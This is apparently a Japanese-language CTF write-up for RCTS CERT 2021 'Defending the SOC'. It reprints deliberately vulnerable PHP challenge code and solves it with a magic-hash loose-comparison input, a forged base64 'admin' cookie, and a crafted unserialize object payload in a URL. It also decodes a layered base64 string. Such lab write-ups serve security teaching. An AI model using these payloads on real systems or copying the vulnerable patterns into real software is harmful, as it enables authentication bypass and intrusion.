RCTS CERT 2021 Defending the SOC: Write up
Web
Some type of juggling
典型的なloose comparison問題
<!DOCTYPE HTML> <?php if(isset($_GET['source'])) { highlight_file(__FILE__); die(); } else { $value = "240610708"; if (isset($_GET['hash'])) { if ($_GET['hash'] === $value) { die('It is not THAT easy!'); } $hash = md5($_GET['hash']); $key = md5($value); if($hash == $key) { include('flag.php'); print "Congratulations! Your flag is: $flag"; } else { print "Flag not found!"; } } } ?> <html> <head> <title>Challenge 1</title> </head> <body> <h2> Source code says it all</h2> <p>Try to get the flag using the 'hash' parameter</p> <a target="_blank" href="?source">See the source code</a> </body> </html>
http://challenges.defsoc.tk:8080/?hash=QNKCDZO
でflagが出てくる。
flag: flag{php_typ3_juggl1ng_1s_c00l}
Exclusive access
問題サイトをみるとadminしかアクセスできないと表示される。
Cookieに user_type
というパラメータにbase64でエンコードされた文字列が与えられているのでデコードしてみると
% echo -n 'Z3Vlc3Q=' | base64 -d guest
adminという文字列をbase64でエンコードしてアクセスするとflagがでてくる。
% echo -n 'admin' | base64 YWRtaW4=
flag: flag{br0k3n_auth3nt1c4t10n}
It is Magic after all
典型的なデシリアライズ問題
<?php include "flag.php"; class Magic { public $key; public function doMagic() { if ($this->key === true) { global $flag; echo $flag; } else { echo "Nothing..."; } } } if (isset($_GET['magic'])) { $magic = unserialize($_GET['magic']); $magic->doMagic(); } else { print "Nothing..."; } ?>
以下のコードでシリアライズする
<?php class Magic{ public $key = true; } $a = new Magic(); echo serialize($a);
http://challenges.defsoc.tk:3000/?magic=O:5:%22Magic%22:1:{s:3:%22key%22;b:1;}
でアクセスする。
flag: flag{php_d3s3r14l1z4t10n_3xpl01ts}
Crypto
A simple challenge
% echo -n 'Vm0weE1HRXlTWGxVYTJoVllXeGFVMWx0ZEV0alZuQlhWbXQwYVUxVk5WZFpWVlUxWVZaS2RHUkVXbFpOYWtVd1dWUkdSbVF4VG5GUmJHaHBVakpvVVZkc1pEUmpNV1JIWTBWb2JGSnJTbTlXYkZaM1RVWmtXR1JIZEZOTmEzQXdWbTF3WVZaWFNuTlhiVVpoVmpOU1RGa3llRk5XTVd3MlVtMXNhVkl5WTNsV1Z6QXhaREZrVmsxWVJsWmhhelZvVld4YWNrMUdjRmhOVlhSclVteEtNVmxyWkRSWFJrcFdZa1JPVjFKc2NGUlZWRXBUVm0xS1IySkZOVk5TUlVVMQ==' | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
flag: flag{3nc0d1ng_1s_n0t_3ncrypt10n!}